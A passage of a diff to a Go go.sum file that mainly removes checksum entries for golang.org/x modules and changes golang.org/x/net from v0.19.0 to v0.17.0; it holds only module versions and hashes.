v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= -golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= -golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= -golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= -golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= -golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= -golang.org/x/net v0.19.0 h1:zTwKpTd2XuCqf8huc7Fo2iSy+4RHPd10s4KzeTnVr1c= -golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= -golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= -golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= -golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= -golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= -golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= -golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= -golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1686,14 +622,6 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1711,11 +639,8 @@ golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1738,81 +663,22 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210304124612-50617c2ba197/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= -golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= -golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= -golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= -golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= -golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= -golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1821,32 +687,16 @@ golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3 golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= -golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20220922220347-f3bd1da661af/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.1.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= @@ -1861,9 +711,7 @@ golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools 